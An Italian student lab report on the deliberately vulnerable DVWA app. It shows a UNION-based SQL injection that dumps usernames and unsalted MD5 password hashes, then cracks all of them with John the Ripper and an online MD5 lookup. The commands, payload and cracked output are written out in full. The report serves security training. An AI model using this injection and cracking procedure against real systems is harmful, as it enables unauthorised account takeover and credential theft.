

Esercizio 01-03

Traccia: recuperare le password dal database di DVWA in formato hash e “scoprirne” il valore in chiaro eseguendo delle sessioni di password cracking. Eseguire la procedura per tutte quante le password trovate.

Consegna:

- screenshot della SQLi effettuata ieri
- Spiegazione della sessione password cracking effettuata (tipologia/meccanismo che usa)
- Screenshot dell'esecuzione del cracking password e del risultato (evidenziare la facilità con cui è stata ricavata la password in chiaro)

Recupero delle password cifrate in hash

Vulnerability: SQL Injection

User ID:

ID: ' UNION SELECT user, password FROM users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user, password FROM users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user, password FROM users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user, password FROM users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user, password FROM users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

```
File Edit Search View Document Help
1
2 5f4dcc3b5aa765d61d8327deb882cf99
3
4 e99a18c428cb38d5f260853678922e03
5
6 8d3533d75ae2c3966d7e0d4fcc69216b
7
8 0d107d09f5bbe40cade3de5c71e9e9b7
9
10 5f4dcc3b5aa765d61d8327deb882cf99
11
```

Creazione di un file contenente le 5 password in formato hash per agevolarne la comparazione delle password cifrate

```
(kali㉿kali)-[~/Desktop]
$ john --format=Raw-md5 hashes.txt
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password instructions (?)
password instructions (?)
abc123 Setup (?)
letmein (?)
Proceeding with incremental:ASCII
charley (?)
5g 0:00:00:00 DONE 3/3 (2023-03-01 09:35) 11.11g/s 396333p/s 396333c/s 399746C/s stevy13..candake
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

(kali㉿kali)-[~/Desktop]
$ john --show --format=Raw-md5 hashes.txt
?:password
?:abc123
?:charley
?:letmein
?:password
5 password hashes cracked, 0 left
```

Utilizzo del comando --format=Raw-md5 per specificare il formato di cifrazione al programma

Aggiunta del comando --show per visualizzare i risultati ottenuti dal programma

Per dimostrare ulteriormente la debolezza delle password nonostante fossero archiviate in hash, utilizzo il primo programma per decriptazione hash. Utilizzo questo metodo perchè si tratta di un compito riguardante un sito con password volutamente decriptabili. Diventa sconsigliato confermare online password “vigenti” appartenenti a privati

MD5

encrypt - decrypt

Il tool on line per criptare e decriptare stringhe in md5

Stringa da criptare

Cripta md5()

Oppure

5f4dcc3b5aa765d61d8327

Decripta md5()

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password

e99a18c428cb38d5f26085

Decripta md5()

```
md5-decrypt("e99a18c428cb38d5f260853678922e03")
```

abc123

8d3533d75ae2c3966d7e0

Decripta md5()

```
md5-decrypt("8d3533d75ae2c3966d7e0d4fcc69216b")
```

charley

0d107d09f5bbe40cade3de

Decripta md5()

```
md5-decrypt("0d107d09f5bbe40cade3de5c71e9e9b7")
```

letmein

5f4dcc3b5aa765d61d8327

Decripta md5()

```
md5-decrypt("5f4dcc3b5aa765d61d8327deb882cf99")
```

password